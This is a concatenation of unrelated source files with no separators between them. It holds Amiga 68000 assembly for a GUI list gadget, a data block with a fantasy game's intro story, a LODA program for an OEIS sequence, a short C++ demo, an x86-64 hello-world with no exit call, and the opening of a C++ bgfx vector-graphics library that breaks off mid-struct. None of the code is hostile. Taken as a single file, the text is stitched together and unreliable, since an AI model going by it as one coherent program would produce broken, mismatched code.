#IDCMP_RAWKEY,im_Class(a1) bne.b .rts_unused cmp.b #$42,im_Code+1(a1) bne.b .cursor move.l oxNL_prev(a0),d0 .nextprev beq.b .rts_unused move.l d0,a0 moveq #OXM_ACTIVATE,d1 jsr _LVOoxDoMethod(a6) bra.b .rts_used .cursor cmp.w #CURSORUP,im_Code(a1) bne.b .csr_down .up1 ; cursor up move.w oxNL_activeinpos(a3),d0 subq.w #1,oxNL_activeinpos(a3) bmi.b .scroll_1up beq.b .align ; if top entry is reached, align line to be fully visible move.l oxNL_activeitem(a3),a0 bclr #oxNLIB_ACTIVE,oxNLI_flags(a0) moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf move.l oxNL_activeitem(a3),a0 move.l LN_PRED(a0),a0 tst.l (a0) beq .rts_used bset #oxNLIB_ACTIVE,oxNLI_flags(a0) move.l a0,oxNL_activeitem(a3) move.w oxNL_activeinpos(a3),d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf bra .rts_used .align move.l oxNL_activeitem(a3),a0 bclr #oxNLIB_ACTIVE,oxNLI_flags(a0) move.l oxNL_activeitem(a3),a0 move.l LN_PRED(a0),a0 tst.l (a0) beq .rts_used bset #oxNLIB_ACTIVE,oxNLI_flags(a0) move.l a0,oxNL_activeitem(a3) clr.w oxNL_vdist(a3) bra.b .refresh_all .scroll_1up clr.w oxNL_activeinpos(a3) subq.w #1,oxNL_offset(a3) bge.b .pred clr.w oxNL_offset(a3) bra.b .rts_used .pred move.l oxNL_topitem(a3),a1 move.l MLN_PRED(a1),a0 tst.l (a0) beq.b .rts_used bclr #oxNLIB_ACTIVE,oxNLI_flags(a1) bset #oxNLIB_ACTIVE,oxNLI_flags(a0) move.l a0,oxNL_topitem(a3) move.l a0,oxNL_activeitem(a3) addq.w #1,oxNL_inpos(a3) clr.w oxNL_vdist(a3) .refresh_all bset #oxNLiB_REFRESHALL,oxNL_iflags(a3) ; update slider move.l oxNL_sliderobject(a3),d0 beq.b .rd move.l d0,a0 move.w #oxSlA_pot,d0 move.w oxNL_offset(a3),d1 move.l oxNL_drawinfo(a3),a2 move.l oxDI_rastport(a2),a2 mulu.w rp_TxHeight(a2),d1 sub.w oxNL_vdist(a3),d1 jsr _LVOoxSetAttr(a6) move.l #OXM_UPDATE,d1 jsr _LVOoxDoMethod(a6) .rd ; redraw list content moveq #0,d0 move.w oxNL_lines(a3),d1 moveq #TRUE,d7 bsr NL_draw_items_rf bra .rts_used .csr_down ; cursor down cmp.w #CURSORDOWN,im_Code(a1) bne.b .rts_used .down1 move.l oxNL_activeitem(a3),a0 move.l (a0),a1 tst.l (a1) beq.b .rts_used move.l a1,oxNL_activeitem(a3) bset #oxNLIB_ACTIVE,oxNLI_flags(a1) bclr #oxNLIB_ACTIVE,oxNLI_flags(a0) move.w oxNL_activeinpos(a3),d2 addq.w #1,oxNL_activeinpos(a3) move.w oxNL_activeinpos(a3),d0 cmp.w oxNL_bodylines(a3),d0 bge.b .scroll_1down ; check if bottom line must be aligned move.w oxNL_activeinpos(a3),d1 addq.w #1,d1 mulu.w oxNL_lineheight(a3),d1 move.w oxNL_contentheight(a3),d0 cmp.w d0,d1 ble.b .off_on sub.w d1,d0 move.w d0,oxNL_vdist(a3) bra.b .refresh_all .off_on ; turn off old active, turn on new active move.w d2,d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf move.w oxNL_activeinpos(a3),d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf bra .rts_used .scroll_1down move.l oxNL_topitem(a3),a0 move.l (a0),a0 tst.l (a0) beq.b .rts_used move.l a0,oxNL_topitem(a3) subq.w #1,oxNL_activeinpos(a3) subq.w #1,oxNL_inpos(a3) addq.w #1,oxNL_offset(a3) ; check if bottom line must be aligned move.w oxNL_activeinpos(a3),d1 addq.w #1,d1 mulu.w oxNL_lineheight(a3),d1 move.w oxNL_contentheight(a3),d0 cmp.w d0,d1 ble.b .refresh_all sub.w d1,d0 move.w d0,oxNL_vdist(a3) bra.b .refresh_all .rts_used moveq #1,d0 rts .rts_unused moveq #0,d0 .rts rts .mousebuttons cmp.w #SELECTDOWN,im_Code(a1) bne.b .rts ; button pressed movem.w oxNL_left(a3),d0-d2 move.w oxNL_titleheight(a3),d3 addq.w #2,d1 sub.w oxNL_sliderwidth(a3),d2 addq.w #2,d0 bsr is_in_rect bne NL_title_select movem.w oxNL_contentleft(a3),d0-d3 bsr is_in_rect beq.b .rts_unused ; go active bset #oxNLiB_ACTIVE,oxNL_iflags(a3) bne .calc move.l a3,d1 move.l oxNL_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWA_ichbindran,d0 jsr _LVOoxSetAttr(a6) .calc ; calc inpos, step to selected item from topitem and store in ; if selected under end of items return 0 move.l oxNL_drawinfo(a3),a0 move.l oxDI_rastport(a0),a2 move.l oxDI_window(a0),a0 moveq #0,d0 move.w wd_GZZMouseY(a0),d0 sub.w oxNL_contenttop(a3),d0 sub.w oxNL_vdist(a3),d0 divu rp_TxHeight(a2),d0 move.w d0,d2 lea oxNL_topitem(a3),a0 .find_loop move.l (a0),a0 tst.l (a0) beq.b .rts_used dbf d2,.find_loop .select ; do nothing if OFF item selected btst #oxNLIB_OFF,oxNLI_flags(a0) bne.b .rts_used ; fork for multiselect/shift mode (if shiftmulti is set) btst #oxNLB_MULTISELECT,oxNL_flags(a3) bne .multiselect btst #oxNLB_SHIFTMULTI,oxNL_flags(a3) beq .single move.w im_Qualifier(a1),d1 and.w #IEQUALIFIER_LSHIFT|IEQUALIFIER_RSHIFT,d1 bne .multiselect .single ; single select ; fall 0: wenn zuletzt multiselected, deaktiviere alle ausser dem aktiven bclr #oxNLiB_MULTISELECTED,oxNL_iflags(a3) beq .fall1 lea oxNL_list(a3),a2 .desel_all_loop move.l (a2),a2 tst.l (a2) beq.b .da_refr cmp.l a0,a2 beq.b .desel_all_loop bclr #oxNLIB_SELECTED,oxNLI_flags(a2) bra.b .desel_all_loop .da_refr push d0 moveq #0,d0 move.w oxNL_lines(a3),d1 moveq #TRUE,d7 bsr NL_draw_items_rf pop d0 .fall1 ; fall 1: active_item == selected_item == clicked_item ; => vergleiche dc_timer mit timer und rufe ggf hook auf und lösche timer, dann exit ; wenn der timer nicht gleich ist, merke timer in dc_timer, dann exit move.l oxNL_activeitem(a3),a2 cmp.l a0,a2 bne.b .fall2 cmp.l oxNL_selecteditem(a3),a0 bne.b .fall2 bsr .doubleclick bsr .openclose bra .rts_used .fall2 ; fall 2: active_item == selected_item ; => deactivate and deselect active_item, draw it ; => goto .sel_and_act cmp.l oxNL_selecteditem(a3),a2 bne.b .fall3 move.l a2,d1 ; tst only beq .sel_and_act bclr #oxNLIB_SELECTED,oxNLI_flags(a2) bclr #oxNLIB_ACTIVE,oxNLI_flags(a2) pushm d0/a0/a1 move.w oxNL_inpos(a3),d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf popm d0/a0/a1 bra.b .sel_and_act .fall3 ; fall 3: selected_item != clicked_item ; => deselect selected_item, draw it cmp.l oxNL_selecteditem(a3),a0 beq.b .fall4 pushm d0/a0/a1 move.l oxNL_selecteditem(a3),a0 move.l a0,d1 ; tst only beq .3_re bclr #oxNLIB_SELECTED,oxNLI_flags(a0) move.w oxNL_inpos(a3),d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf .3_re popm d0/a0/a1 .fall4 ; fall 4: active_item != clicked_item ; => deactivate active_item, draw it cmp.l oxNL_activeitem(a3),a0 beq.b .fall5 pushm d0/a0/a1 move.l oxNL_activeitem(a3),a0 move.l a0,d1 ; tst only beq .4_re bclr #oxNLIB_ACTIVE,oxNLI_flags(a0) move.w oxNL_activeinpos(a3),d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf .4_re popm d0/a0/a1 .fall5 ; fall 5: selected_item == clicked_item ; => vergleiche dc_timer mit timer und rufe ggf hook auf und lösche timer ; wenn der timer nicht gleich ist, merke timer in dc_timer ; => active_item = clicked_item, activate clicked_item, draw it cmp.l oxNL_selecteditem(a3),a0 bne .sel_and_act bsr .doubleclick move.l im_Seconds(a1),oxNL_seconds(a3) move.l im_Micros(a1),oxNL_micros(a3) move.l a0,oxNL_activeitem(a3) move.w d0,oxNL_activeinpos(a3) bset #oxNLIB_ACTIVE,oxNLI_flags(a0) moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf bsr .openclose bra.b .rts_used .sel_and_act ; store timer in dc_timer ; select and activate clicked_item, draw it ; active_item = clicked_item, selected_item = clicked_item ; call select_hook push a0 move.l im_Seconds(a1),oxNL_seconds(a3) move.l im_Micros(a1),oxNL_micros(a3) move.l a0,oxNL_activeitem(a3) move.l a0,oxNL_selecteditem(a3) move.w d0,oxNL_inpos(a3) move.w d0,oxNL_activeinpos(a3) bset #oxNLIB_SELECTED,oxNLI_flags(a0) bset #oxNLIB_ACTIVE,oxNLI_flags(a0) moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf pop a0 bsr .openclose bra .selhook .multiselect ; multiselect/shift ; fall 1: actives item geklickt, gehe zu toggle item cmp.l oxNL_activeitem(a3),a0 beq.b .ms_click ; fall 2: inactives item geklickt, deaktiviere aktives item falls vorhanden tst.l oxNL_activeitem(a3) beq.b .ms_click clr.l oxNL_seconds(a3) clr.l oxNL_micros(a3) pushm d0/a0 move.l oxNL_activeitem(a3),a0 bclr #oxNLIB_ACTIVE,oxNLI_flags(a0) move.w oxNL_activeinpos(a3),d0 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf popm d0/a0 .ms_click move.l a0,oxNL_activeitem(a3) move.w d0,oxNL_activeinpos(a3) move.l a0,oxNL_selecteditem(a3) move.w d0,oxNL_inpos(a3) bset #oxNLiB_MULTISELECTED,oxNL_iflags(a3) bset #oxNLIB_ACTIVE,oxNLI_flags(a0) beq .check_dc btst #oxNLIB_SELECTED,oxNLI_flags(a0) beq.b .store_timer .check_dc tst.l oxNL_dchook(a3) beq .ms_toggle bsr .doubleclick bne.b .open .store_timer move.l im_Seconds(a1),oxNL_seconds(a3) move.l im_Micros(a1),oxNL_micros(a3) .ms_toggle bchg #oxNLIB_SELECTED,oxNLI_flags(a0) beq.b .ms_ref clr.l oxNL_selecteditem(a3) moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf bra .close .ms_ref moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf .selhook ; push a0 ; lea .sel(pc),a0 ; bsr auto_request ; pop a0 move.l oxNL_selhook(a3),d0 beq .rts_used move.l d0,a2 ; hooks get: a0 and a3 *list, a4 *base, a1 and a5 *message, a6 *oxbase move.l oxO_userbase(a3),a4 lea -oxNLSI_SIZEOF(a7),a7 move.l a7,a1 move.l a1,a5 move.l a3,oxNLSI_list(a5) move.l oxNL_userdata(a3),oxNLSI_userdata(a5) move.l a0,oxNLSI_item(a5) move.l oxNLI_userdata(a0),oxNLSI_item_userdata(a5) move.w oxNLI_id(a0),oxNLSI_item_id(a5) move.w oxNL_offset(a3),d0 ; add.w oxNL_inpos(a3),d0 ; move.w d0,oxNLSI_item_number(a5) move.l a3,a0 moveq #0,d0 jsr (a2) lea oxNLSI_SIZEOF(a7),a7 bra .rts_used .sel dc.b "item selected",0 .dc dc.b "item doubleclicked",0 even .doubleclick ; call doubleclick hook if left button doubleclicked on item pushm d0/a0/a1/a3 move.l oxNL_seconds(a3),d0 move.l oxNL_micros(a3),d1 move.l im_Seconds(a1),d2 move.l im_Micros(a1),d3 move.l d2,oxNL_seconds(a3) move.l d3,oxNL_micros(a3) pushm a0/a6 move.l oxB_intbase(a6),a6 jsr _LVODoubleClick(a6) popm a0/a6 move.l d0,-(a7) beq.b .reget_d0 ; need two clicks again clr.l oxNL_seconds(a3) clr.l oxNL_micros(a3) ; call dc hook, build message on stack ; push a0 ; lea .dc(pc),a0 ; bsr auto_request ; pop a0 move.l oxNL_dchook(a3),d0 beq.b .reget_d0 move.l d0,a2 ; hooks get: a0 and a3 *list, a4 *base, a1 and a5 *message, a6 *oxbase move.l oxO_userbase(a3),a4 lea -oxNLSI_SIZEOF(a7),a7 move.l a7,a1 move.l a1,a5 move.l a3,oxNLSI_list(a5) move.l oxNL_userdata(a3),oxNLSI_userdata(a5) move.l a0,oxNLSI_item(a5) move.l oxNLI_userdata(a0),oxNLSI_item_userdata(a5) move.w oxNLI_id(a0),oxNLSI_item_id(a5) move.w oxNL_offset(a3),d0 ; add.w oxNL_inpos(a3),d0 ; move.w d0,oxNLSI_item_number(a5) move.l a3,a0 moveq #0,d0 jsr (a2) lea oxNLSI_SIZEOF(a7),a7 .reget_d0 move.l (a7)+,d0 popm d0/a0/a1/a3 rts .openclose btst #oxNLIB_OPEN,oxNLI_flags(a0) bne .close .open ; open / close folder if clicked tst.w oxNLI_numfold(a0) beq .oc_rts pushm d0/a0/a1 move.l a0,a1 bsr NL_openfolder popm d0/a0/a1 .oc_rts rts .close ; open / close folder if clicked tst.w oxNLI_numfold(a0) beq .oc_rts pushm d0/a0/a1 move.l a0,a1 bsr NL_closefolder popm d0/a0/a1 rts NL_title_select ; title clicked, future plans to activte different sort mechanisms .rts rts NL_ACTIVATE bset #oxNLiB_ACTIVE,oxNL_iflags(a3) bne .rts_unused move.l a3,d1 move.l oxNL_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWA_ichbindran,d0 jsr _LVOoxSetAttr(a6) ; align top to line move.w oxNL_vdist(a3),d2 beq .activeitem clr.w oxNL_vdist(a3) ; update slider move.l oxNL_sliderobject(a3),d0 beq.b .activeitem move.l d0,a0 move.w #oxSlA_pot,d0 move.w oxNL_offset(a3),d1 mulu.w oxNL_lineheight(a3),d1 jsr _LVOoxSetAttr(a6) move.l #OXM_UPDATE,d1 jsr _LVOoxDoMethod(a6) .activeitem move.l oxNL_topitem(a3),d0 move.l d0,oxNL_activeitem(a3) beq.b .rts_unused bset #oxNLiB_REFRESHALL,oxNL_iflags(a3) move.l d0,a0 bset #oxNLIB_ACTIVE,oxNLI_flags(a0) clr.w oxNL_activeinpos(a3) ; move.w oxNL_offset(a3),d1 ; mulu oxNL_lineheight(a3),d1 ; add.w oxNL_vdist(a3),d1 ; move.w d1,oxNL_oldpixoffset(a3) moveq #0,d0 move.w oxNL_lines(a3),d1 tst.w d2 bne.b .ref moveq #1,d1 .ref moveq #TRUE,d7 bsr NL_draw_items_rf .rts_used moveq #1,d0 rts .rts_unused moveq #0,d0 rts NL_INACTIVE bclr #oxNLiB_ACTIVE,oxNL_iflags(a3) beq .rts_unused clr.l oxNL_seconds(a3) clr.l oxNL_micros(a3) move.l oxNL_activeitem(a3),d1 beq.b .rts_unused clr.l oxNL_activeitem(a3) move.l d1,a0 bclr #oxNLIB_ACTIVE,oxNLI_flags(a0) beq.b .rts_unused move.w oxNL_activeinpos(a3),d0 bmi.b .rts1 moveq #1,d1 moveq #TRUE,d7 bsr NL_draw_items_rf .rts1 moveq #1,d0 .rts_unused rts NL_LINKPRIV btst #oxNLiB_ACTIVE,oxNL_iflags(a0) beq .rts move.l a0,d1 move.l oxNL_drawinfo(a0),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWA_ichbindran,d0 jsr _LVOoxSetAttr(a6) moveq #1,d0 .rts rts NL_RELINK ; move.l oxNL_list(a0),a2 ; tst.l (a2) ; beq.b .rts lea oxNL_prev(a0),a2 jmp _LVOoxRingConnect(a6) .rts rts NL_sort ; doto handle name of null clr.l oxNL_topitem(a3) lea oxNL_list(a3),a0 bsr sortlist move.l oxNL_list(a3),a0 tst.l (a0) beq .rts move.l a0,oxNL_topitem(a3) .rts rts ;------------------------------ ; sort list lh_Head EQU 0 ln_Succ EQU 0 ln_Name EQU 10 ;inputs: ; a0 - string 1 ; a1 - string 2 strcmp: moveq #0,d0 moveq #0,d1 loop1: move.b (a1)+,d1 move.b (a0)+,d0 beq.s exit1 cmp.b d0,d1 beq.s loop1 exit1: sub.l d1,d0 rts ;inputs: ; a0 - pointer to list countnodes: moveq #-1,d0 move.l lh_Head(a0),d1 beq.s exit2 ; should never happen loop2: move.l d1,a0 addq.l #1,d0 move.l ln_Succ(a0),d1 bne.s loop2 exit2: rts ;inputs: ; a0 - pointer to list sortlist: movem.l d2-d4/a2-a6,-(a7) ; move.l 4.w,a6 move.l a0,a5 ; save list pointer in a5 bsr countnodes move.l d0,d2 move.l d0,d4 subq.w #1,d2 subq.w #2,d4 blt listempty loop3: move.l lh_Head(a5),a4 move.l d4,d3 loop4: move.l a4,a3 move.l ln_Succ(a3),a4 move.l ln_Name(a3),a0 move.l ln_Name(a4),d0 bne .b lea messa(pc),a0 bsr auto_request .b move.l d0,a1 bsr strcmp ble.s dontswap move.l a3,a1 push a6 move.l 4.w,a6 jsr _LVORemove(a6) move.l a5,a0 move.l a3,a1 move.l a4,a2 jsr _LVOInsert(a6) pop a6 move.l a3,a4 dontswap: dbra.w d3,loop4 exit3: dbra.w d2,loop3 listempty: movem.l (a7)+,d2-d4/a2-a6 rts messa dc.b "no name",0 even ; misc support routines is_in_rect movem.l d1-d3/a2,-(a7) move.l im_IDCMPWindow(a1),a2 movem.w wd_GZZMouseX(a2),d4/d5 cmp.w d4,d0 bgt.b .not_in_rect add.w d2,d0 subq.w #1,d0 cmp.w d4,d0 blt.b .not_in_rect cmp.w d5,d1 bgt.b .not_in_rect add.w d3,d1 subq.w #1,d1 cmp.w d5,d1 blt.b .not_in_rect moveq #1,d0 .restack movem.l (a7)+,d1-d3/a2 rts .not_in_rect moveq #0,d0 bra.b .restack get_a_tag move.l (a2)+,d0 beq.b .rts move.l (a2)+,d1 cmp.l #3,d0 ; return anything that is bigger 3 (system tags) bgt.b .rts ; system tags cmp.l #TAG_IGNORE,d0 beq.b get_a_tag cmp.l #TAG_MORE,d0 beq.b .more cmp.l #TAG_SKIP,d0 beq.b .skip .rts rts .skip lsl.l #3,d1 add.l d1,a2 bra.b get_a_tag .more move.l d1,a2 bra.b get_a_tag alloc_mem tst.l d0 beq.b .rts movem.l d1-a6,-(a7) move.l #$10001,d1 ; MEMF_PUBLIC | MEMF_CLEAR move.l 4.w,a6 jsr _LVOAllocMem(a6) movem.l (a7)+,d1-a6 tst.l d0 .rts rts free_mem movem.l d0-a6,-(a7) move.l a0,a1 ; aber in a1 wird gebraucht move.l 4.w,a6 jsr _LVOFreeMem(a6) movem.l (a7)+,d0-a6 rts auto_request ; a0 *text ; a6 *oxbase pushm d0/d1/a0/a1/a2/a3/a6 move.l oxB_intbase(a6),a6 lea .it_body(pc),a1 move.l a0,it_IText(a1) ; insert *text into body intuitext sub.l a0,a0 ; no parent window sub.l a2,a2 ; no positive text lea .it_ok(pc),a3 ; negative text moveq #0,d0 moveq #0,d1 jsr _LVOAutoRequest(a6) popm d0/d1/a0/a1/a2/a3/a6 rts .it_body dc.b 1,0 ; the pens for rendering the text, front,back dc.b 0 ; the mode for rendering the text dc.b 0 ; pad dc.w 0,0 ; relative start location for the text, x,y dc.l 0 ; font, if NULL, you accept the defaults dc.l 0 ; pointer to null-terminated text dc.l 0 ; pointer to another IntuiText to render .it_ok dc.b 1,0 ; the pens for rendering the text, front,back dc.b 0 ; the mode for rendering the text dc.b 0 ; pad dc.w 0,0 ; relative start location for the text, x,y dc.l 0 ; font, if NULL, you accept the defaults dc.l .ok ; pointer to null-terminated text dc.l 0 ; pointer to another IntuiText to render .ok dc.b "OK",0 even
;---------------------------------------------------------------; ; ; ; Banchor ; ; Introduction Text ; ; ; ;---------------------------------------------------------------; strIntro: .db 1,COLOUR_DARKRED,"THE LEGEND OF BANCHOR...",0 .db 0,0 .db "In the Kingdom of Viridian, legend tells",0 .db "of a powerful demon from the depths of",0 .db "Hell named ",1,COLOUR_RED,"Banchor",1,COLOUR_WHITE,". According to the",0 .db "legend, centuries ago he wreaked havoc",0 .db "upon the denizens of the world. Many",0 .db "bold warriors lost their lives trying to",0 .db "slay the evil creature, but to no avail.",0 .db 0 .db "Finally, a great wizard named ",1,COLOUR_PURPLE,"Zehos",0 .db "summoned enough power to cast the demon",0 .db "back to the fiery depths, and sealed the",0 .db "portal between the mortal plane and",0 .db "Hell. The power to open this portal was",0 .db "put into ",1,COLOUR_BLUE,"7 magical crystals",1,COLOUR_WHITE,". As long as",0 .db "these crystals were kept safe, ",1,COLOUR_RED,"Banchor",0 .db "could no longer have a physical presence",0 .db "on the mortal plane.",0 .db 0 .db "For many centuries, the people lived in",0 .db "peace. The ",1,COLOUR_BLUE,"7 crystals",1,COLOUR_WHITE," were lost and long",0 .db "forgotten to the common folk, and soon",0 .db "their existence became nothing but a",0 .db "myth, along with the terrifying story of",0 .db 1,COLOUR_RED,"Banchor.",0 .db 0 .db "Now across the Kingdom, evil is again",0 .db "showing its presence. King Heath, known",0 .db "throughout the Kingdom as a kind and",0 .db "peaceful ruler, has become a dark and",0 .db "brooding man. His daughter, ",1,COLOUR_YELLOW,"Princess",0 .db 1,COLOUR_YELLOW,"Sapphira",1,COLOUR_WHITE,", has not been seen for months,",0 .db "and wild creatures have been spotted",0 .db "lurking around the lands.",0 .db 0 .db "Few have had the courage to stand up to",0 .db "the King's newfound iron ruling, and",0 .db "those who have seem to have gone",0 .db "missing. Supplies to the local villages",0 .db "have been cut off, and the Port has been",0 .db "closed to stop outsiders from entering",0 .db "the Kingdom. Furthermore, the King's",0 .db "guards have begun capturing warriors",0 .db "from the villages and imprisoning them",0 .db "in the castle dungeons.",0 .db 0 .db "You are ",1,COLOUR_GREEN,"Rex",1,COLOUR_WHITE,", a young and crafty warrior",0 .db "from the neighbouring village of Brill",0 .db "Haven. After spending weeks imprisoned",0 .db "in the castle dungeons with nothing but",0 .db "the rags you are wearing, your chance to",0 .db "escape has come. One of the guards has",0 .db "betrayed the King and unlocked your",0 .db "cell.",0 .db 0 .db "You must escape the dungeons and find a",0 .db "way to return to your village to protect",0 .db "the townsfolk from the evil that is",0 .db "overrunning the land. There are whispers",0 .db "that the evil ",1,COLOUR_RED,"Banchor",1,COLOUR_WHITE," has somehow been",0 .db "set loose again on the mortal plane, and",0 .db "that he has unleashed his most powerful",0 .db "minions to take over the Kingdom.",0 .db 0 .db "Hurry, before it is too late!",0 .db 255 ; 1234567890123456789012345678901234567890 .end
; A183897: Number of nondecreasing arrangements of n+3 numbers in 0..2 with each number being the sum mod 3 of three others. ; 1,7,17,25,34,44,55,67,80,94,109,125,142,160,179,199,220,242,265,289,314,340,367,395,424,454,485,517,550,584,619,655,692,730,769,809,850,892,935,979,1024,1070,1117,1165,1214,1264,1315,1367,1420,1474,1529,1585,1642,1700,1759,1819,1880,1942,2005,2069,2134,2200 mov $1,4 mov $2,$0 mov $4,3 lpb $2,1 lpb $4,1 trn $4,$3 lpe sub $1,3 add $1,$2 add $1,8 sub $2,1 mov $3,$0 lpe sub $1,$4
#include <cstdio> #include "Demonstrations.h" int main() { Demonstrations<int, int> demo; for (int episode = 0; episode < 5; episode++) { if (episode) { demo.NewEpisode(); } for (int i = 0; i < 10; ++i) { demo.Observe(i, episode); } } }
global _start section .data message: db 'hello, world!', 10 section .text _start: mov rax, 1 mov rdi, 1 mov rsi, message mov rdx, 14 syscall
// TODO: // - More than 254 clip regions: Either use another view (extra parameter in createContext) // or draw a fullscreen quad to reset the stencil buffer to 0. // - Recycle the memory of cached meshes so resetting a cached mesh is faster. // - Find a way to move stroker operations into separate functions (i.e. all strokePath // functions differ only on the createDrawCommand_XXX() call; strokerXXX calls are the same // and the code is duplicated). // - Allow strokes and fills with gradients and image patterns to be used as clip masks (might // be useful if the same command list is used both inside and outside a beginClip()/endClip() // block) #include <vg/vg.h> #include <vg/path.h> #include <vg/stroker.h> #include "vg_util.h" #include "libs/fontstash.h" #include <bx/allocator.h> #include <bx/mutex.h> #include <bx/handlealloc.h> #include <bx/string.h> #include <bgfx/bgfx.h> #include <bgfx/embedded_shader.h> // Shaders #include "shaders/vs_textured.bin.h" #include "shaders/fs_textured.bin.h" #include "shaders/vs_color_gradient.bin.h" #include "shaders/fs_color_gradient.bin.h" #include "shaders/vs_image_pattern.bin.h" #include "shaders/fs_image_pattern.bin.h" #include "shaders/vs_stencil.bin.h" #include "shaders/fs_stencil.bin.h" BX_PRAGMA_DIAGNOSTIC_IGNORED_MSVC(4706) // assignment within conditional expression #define VG_CONFIG_MIN_FONT_SCALE 0.1f #define VG_CONFIG_MAX_FONT_SCALE 4.0f #define VG_CONFIG_MAX_FONT_IMAGES 4 #define VG_CONFIG_MIN_FONT_ATLAS_SIZE 512 #define VG_CONFIG_COMMAND_LIST_CACHE_STACK_SIZE 32 #define VG_CONFIG_COMMAND_LIST_ALIGNMENT 16 // Minimum font size (after scaling with the current transformation matrix), // below which no text will be rendered. #define VG_CONFIG_MIN_FONT_SIZE 4.0f namespace vg { static const bgfx::EmbeddedShader s_EmbeddedShaders[] = { BGFX_EMBEDDED_SHADER(vs_textured), BGFX_EMBEDDED_SHADER(fs_textured), BGFX_EMBEDDED_SHADER(vs_color_gradient), BGFX_EMBEDDED_SHADER(fs_color_gradient), BGFX_EMBEDDED_SHADER(vs_image_pattern), BGFX_EMBEDDED_SHADER(fs_image_pattern), BGFX_EMBEDDED_SHADER(vs_stencil), BGFX_EMBEDDED_SHADER(fs_stencil), BGFX_EMBEDDED_SHADER_END() }; struct State { float m_TransformMtx[6]; float m_ScissorRect[4]; float m_GlobalAlpha; float m_FontScale; float m_AvgScale; }; struct ClipState { ClipRule::Enum m_Rule; uint32_t m_FirstCmdID; uint32_t m_NumCmds; }; struct HandleFlags { enum Enum : uint16_t { LocalHandle = 0x0001 }; }; struct Gradient { float m_Matrix[9]; float m_Params[4]; // {Extent.x, Extent.y, Radius, Feather} float m_InnerColor[4]; float m_OuterColor[4]; }; struct ImagePattern { float m_Matrix[9]; ImageHandle m_ImageHandle; }; struct DrawCommand { struct Type { // NOTE: Originally there were only 3 types of commands, Textured, ColorGradient and Clip. // In order to be able to support int16 UVs *and* repeatable image patterns (which require UVs // outside the [0, 1) range), a separate type of command has been added for image patterns. // The vertex shader of ImagePattern command calculates UVs the same way the gradient shader // calculates the gradient factor. // The idea is that when using multiple image patterns, a new draw call will always be created // for each image, so there's little harm in changing shader program as well (?!?). In other words, // 2 paths with different image patterns wouldn't have been batched together either way. enum Enum : uint32_t { Textured = 0, ColorGradient, ImagePattern, Clip, NumTypes }; }; Type::Enum m_Type; ClipState m_ClipState; uint32_t m_VertexBufferID; uint32_t m_FirstVertexID; uint32_t m_FirstIndexID; uint32_t m_NumVertices; uint32_t m_NumIndices; uint16_t m_ScissorRect[4]; uint16_t m_HandleID; // Type::Textured => ImageHandle, Type::ColorGradient => GradientHandle, Type::ImagePattern => ImagePatternHandle }; struct GPUVertexBuffer { bgfx::DynamicVertexBufferHandle m_PosBufferHandle; bgfx::DynamicVertexBufferHandle m_UVBufferHandle; bgfx::DynamicVertexBufferHandle m_ColorBufferHandle; }; struct GPUIndexBuffer { bgfx::DynamicIndexBufferHandle m_bgfxHandle; }; struct VertexBuffer { float* m_Pos; uv_t* m_UV; uint32_t* m_Color; uint32_t m_Count; }; struct IndexBuffer { uint16_t* m_Indices; uint32_t m_Count; uint32_t m_Capacity; }; struct Image { uint16_t m_Width; uint16_t m_Height; uint32_t m_Flags; bgfx::TextureHandle m_bgfxHandle; }; struct FontData { uint8_t* m_Data; int m_FonsHandle; bool m_Owned; }; struct CommandType { enum Enum : uint32_t { // Path commands BeginPath = 0, MoveTo, LineTo, CubicTo, QuadraticTo, ArcTo, Arc, Rect, RoundedRect, RoundedRectVarying, Circle, Ellipse, Polyline, ClosePath, FirstPathCommand = BeginPath, LastPathCommand = ClosePath, // Stroker commands FillPathColor, FillPathGradient, FillPathImagePattern, StrokePathColor, StrokePathGradient, StrokePathImagePattern, FirstStrokerCommand = FillPathColor, LastStrokerCommand = StrokePathImagePattern, // IndexedTriList, // State commands BeginClip, EndClip, ResetClip, CreateLinearGradient, CreateBoxGradient, CreateRadialGradient, CreateImagePattern, PushState, PopState, ResetScissor, SetScissor, IntersectScissor, TransformIdentity, TransformScale, TransformTranslate, TransformRotate, TransformMult, SetViewBox, // Text Text, TextBox, // Command lists SubmitCommandList, }; }; struct CommandHeader { CommandType::Enum m_Type; uint32_t m_Size; }; struct CachedMesh { float* m_Pos; uint32_t* m_Colors; uint16_t* m_Indices; uint32_t m_NumVertices; uint32_t m_NumIndices; }; struct CachedCommand { uint16_t m_FirstMeshID; uint16_t m_NumMeshes; float m_InvTransformMtx[6]; }; struct CommandListCache { CachedMesh* m_Meshes; uint32_t m_NumMeshes; CachedCommand* m_Commands; uint32_t m_NumCommands; float m_AvgScale; }; struct CommandList { uint8_t* m_CommandBuffer; uint32_t m_CommandBufferCapacity; uint32_t m_CommandBufferPos; char* m_StringBuffer; uint32_t m_StringBufferCapacity; uint32_t m_StringBufferPos; uint32_t m_Flags; uint16_t m_NumGradients; uint16_t m_NumImagePatterns; CommandListCache* m_Cache; }; #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API struct ContextVTable { void(*beginPath)(Context* ctx); void(*moveTo)(Context* ctx, float x, float y); void(*lineTo)(Context* ctx, float x, float y); void(*cubicTo)(Context* ctx, float c1x, float c1y, float c2x, float c2y, float x, float y); void(*quadraticTo)(Context* ctx, float cx, float cy, float x, float y); void(*arcTo)(Context* ctx, float x1, float y1, float x2, float y2, float r); void(*arc)(Context* ctx, float cx, float cy, float r, float a0, float a1, Winding::Enum dir); void(*rect)(Context* ctx, float x, float y, float w, float h); void(*roundedRect)(Context* ctx, float x, float y, float w, float h, float r); void(*roundedRectVarying)(Context* ctx, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl); 